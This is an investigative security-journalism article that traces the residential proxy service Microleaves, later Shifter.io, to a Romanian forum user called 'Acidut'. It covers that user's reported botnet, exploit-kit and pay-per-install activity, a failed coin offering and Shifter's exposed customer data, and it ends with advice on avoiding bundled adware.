The very first discussion thread started by the new user Microleaves on the forum BlackHatWorld in 2013 sought forum members who could help test and grow the proxy network. At the time, the Microleaves user said their proxy network had 150,000 IPs globally, and was growing quickly.

One of BlackHatWorld’s moderators asked the administrator of the forum to review the Microleaves post.

“User states has 150k proxies,” the forum skeptic wrote. “No seller on BHW has 150k working daily proxies none of us do. Which hints at a possible BOTNET. That’s the only way you will get 150k.”

Microleaves has long been classified by antivirus companies as adware or as a “potentially unwanted program” (PUP), the euphemism that antivirus companies use to describe executable files that get installed with ambiguous consent at best, and are often part of a bundle of software tied to some “free” download. Security vendor Kaspersky flags the Microleaves family of software as a trojan horse program that commandeers the user’s Internet connection as a proxy without notifying the user.

“While working, these Trojans pose as Microsoft Windows Update,” Kaspersky wrote.

In a February 2014 post to BlackHatWorld, Microleaves announced that its sister service — reverseproxies[.]com — was now offering an “Auto CAPTCHA Solving Service,” which automates the solving of those squiggly and sometimes frustrating puzzles that many websites use to distinguish bots from real visitors. The CAPTCHA service was offered as an add-on to the Microleaves proxy service, and ranged in price from $20 for a 2-day trial to $320 for solving up to 80 captchas simultaneously.

“We break normal Recaptcha with 60-90% success rate, recaptcha with blobs 30% success, and 500+ other captcha,” Microleaves wrote. “As you know all success rate on recaptcha depends very much on good proxies that are fresh and not spammed!”

WHO IS ACIDUT?

The exposed Microleaves user database shows that the first user created on the service — username “admin” — used the email address alex.iulian@aol.com. A search on that email address in Constella Intelligence, a service that tracks breached data, reveals it was used to create an account at the link shortening service bit.ly under the name Alexandru Florea, and the username “Acidut.” [Full disclosure: Constella is currently an advertiser on this website].

According to the cyber intelligence company Intel 471, a user named Acidut with the email address iulyan87_4u@gmail.com had an active presence on almost a dozen shadowy money-making and cybercrime forums from 2010 to 2017, including BlackHatWorld, Carder[.]pro, Hackforums, OpenSC, and CPAElites.

The user Microleaves (later “Shifter.io”) advertised on BlackHatWorld the sale of 31 million residential IPs for use as proxies, in late 2013. The same account continues to sell subscriptions to Shifter.io.

In a 2011 post on Hackforums, Acidut said they were building a botnet using an “exploit kit,” a set of browser exploits made to be stitched into hacked websites and foist malware on visitors. Acidut claimed their exploit kit was generating 3,000 to 5,000 new bots each day. OpenSC was hacked at one point, and its private messages show Acidut purchased a license from Exmanoize, the handle used by the creator of the Eleonore Exploit Kit.

By November 2013, Acidut was advertising the sale of “26 million SOCKS residential proxies.” In a March 2016 post to CPAElites, Acidut said they had a worthwhile offer for people involved in pay-per-install or “PPI” schemes, which match criminal gangs who pay for malware installs with enterprising hackers looking to sell access to compromised PCs and websites.

Because pay-per-install affiliate schemes rarely impose restrictions on how the software can be installed, such programs can be appealing for cybercriminals who already control large collections of hacked machines and/or compromised websites. Indeed, Acidut went a step further, adding that their program could be quietly and invisibly nested inside of other programs.

“For those of you who are doing PPI I have a global offer that you can bundle to your installer,” Acidut wrote. “I am looking for many installs for an app that will generate website visits. The installer has a silence version which you can use inside your installer. I am looking to buy as many daily installs as possible worldwide, except China.”

Asked about the source of their proxies in 2014, the Microleaves user responded that it was “something related to a PPI network. I can’t say more and I won’t get into details.”

Acidut authored a similar message on the forum BlackHatWorld in 2013, where they encouraged users to contact them on Skype at the username “nevo.julian.” That same Skype contact address was listed prominently on the Microleaves homepage up until about a week ago when KrebsOnSecurity first reached out to the company.

ONLINE[.]IO (NOW MERCIFULLY OFFLINE)

There is a Facebook profile for an Alexandru Iulian Florea from Constanta, Romania, whose username on the social media network is Acidut. Prior to KrebsOnSecurity alerting Shifter of its data breach, the Acidut profile page associated Florea with the websites microleaves.com, shrooms.io, leftclick[.]io, and online[.]io. Mr. Florea did not respond to multiple requests for comment, and his Facebook page no longer mentions these domains.

Leftclick and online[.]io emerged as subsidiaries of Microleaves between 2017 and 2018. According to a help wanted ad posted in 2018 for a developer position at online[.]io, the company’s services were brazenly pitched to investors as “a cybersecurity and privacy tool kit, offering extensive protection using advanced adblocking, anti-tracking systems, malware protection, and revolutionary VPN access based on residential IPs.”

A teaser from Irish Tech News.

“Online[.]io is developing the first fully decentralized peer-to-peer networking technology and revolutionizing the browsing experience by making it faster, ad free, more reliable, secure and non-trackable, thus freeing the Internet from annoying ads, malware, and trackers,” reads the rest of that help wanted ad.

Microleaves CEO Alexandru Florea gave an “interview” to the website Irishtechnews.ie in 2018, in which he explained how Online[.]io (OIO) was going to upend the online advertising and security industries with its initial coin offering (ICO). The word interview is in air quotes because the following statements by Florea deserved some serious pushback by the interviewer.

“Online[.]io solution, developed using the Ethereum blockchain, aims at disrupting the digital advertising market valued at more than $1 trillion USD,” Alexandru enthused. “By staking OIO tokens and implementing our solution, the website operators will be able to access a new non-invasive revenue stream, which capitalizes on time spent by users online.”

“At the same time, internet users who stake OIO tokens will have the opportunity to monetize on the time spent online by themselves and their peers on the World Wide Web,” he continued. “The time spent by users online will lead to ICE tokens being mined, which in turn can be used in the dedicated merchant system or traded on exchanges and consequently changed to fiat.”

Translation: If you install our proxy bot/CAPTCHA-solver/ad software on your computer — or as an exploit kit on your website — we’ll make millions hijacking ads and you will be rewarded with heaps of soon-to-be-worthless shitcoin. Oh, and all your security woes will disappear, too.

It’s unclear how many Internet users and websites willingly agreed to get bombarded with Online[.]io’s annoying ads and search hijackers — and to have their PC turned into a proxy or CAPTCHA-solving zombie for others. But that is exactly what multiple security companies said happened when users encountered online[.]io, which operated using the Microsoft Windows process name of “online-guardian.exe.”

Incredibly, Crunchbase says Online[.]io raised $6 million in funding for an initial coin offering in 2018, based on the plainly ludicrous claims made above. Since then, however, online[.]io seems to have gone…offline, for good.

SUPER TECH VENTURES?

Until this week, Shifter.io’s website also exposed information about its customer base and most active users, as well as how much money each client has paid over the lifetime of their subscription. The data indicates Shifter has earned more than $11.7 million in direct payments, although it’s unclear how far back in time those payment records go, or how complete they are.

The bulk of Shifter customers who spent more than $100,000 at the proxy service appear to be digital advertising companies, including some located in the United States. None of the several Shifter customers approached by KrebsOnSecurity agreed to be interviewed.

Shifter’s Gupta said he’d been with the company for three years, since the new owner took over the company and made the rebrand to Shifter.

“The company has been on the market for a long time, but operated under a different brand called Microleaves, until new ownership and management took over the company started a reorganization process that is still on-going,” Gupta said. “We are fully transparent. Mostly [our customers] work in the data scraping niche, this is why we actually developed more products in this zone and made a big shift towards APIs and integrated solutions in the past year.”

Ah yes, the same APIs and integrated solutions that were found exposed to the Internet and leaking all of Shifter’s customer information.

Gupta said the original founder of Microleaves was a man from India, who later sold the business to Florea. According to Gupta, the Romanian entrepreneur had multiple issues in trying to run the company, and then sold it three years ago to the current owner — Super Tech Ventures, a private equity company based in Taiwan.

“Our CEO is Wang Wei, he has been with the company since 3 years ago,” Gupta said. “Mr. Florea left the company two years ago after ending this transition period.”

Google and other search engines seem to know nothing about a Super Tech Ventures based in Taiwan. Incredibly, Shifter’s own PR person claimed that he, too, was in the dark on this subject.

“I would love to help, but I really don’t know much about the mother company,” Gupta said, essentially walking back his “fully transparent” statement. “I know they are a branch of the bigger group of asian investment firms focused on private equity in multiple industries.”

Adware and proxy software are often bundled together with “free” software utilities online, or with popular software titles that have been pirated and quietly fused with installers tied to various PPI affiliate schemes.

But just as often, these intrusive programs will include some type of notice — even if installed as part of a software bundle — that many users simply do not read and click “Next” to get on with installing whatever software they’re seeking to use. In these cases, selecting the “basic” or “default” settings while installing usually hides any per-program installation prompts, and assumes you agree to all of the bundled programs being installed. It’s always best to opt for the “custom” installation mode, which can give you a better idea of what is actually being installed, and can let you control certain aspects of the installation.

Either way, it’s best to start with the assumption that if a software or service online is “free,” that there is likely some component involved that allows the provider of that service to monetize your activity. As KrebsOnSecurity noted at the conclusion of last week’s story on a China-based proxy service called 911, the rule of thumb for transacting online is that if you’re not the paying customer, then you and/or your devices are probably the product that’s being sold to others.

Further reading on proxy services:

July 18, 2022: A Deep Dive Into the Residential Proxy Service ‘911’
June 28, 2022: The Link Between AWM Proxy & the Glupteba Botnet
June 22, 2022: Meet the Administrators of the RSOCKS Proxy Botnet
Sept. 1, 2021: 15-Year-Old Malware Proxy Network VIP72 Goes Dark
Aug. 19, 2019: The Rise of “Bulletproof” Residential Networks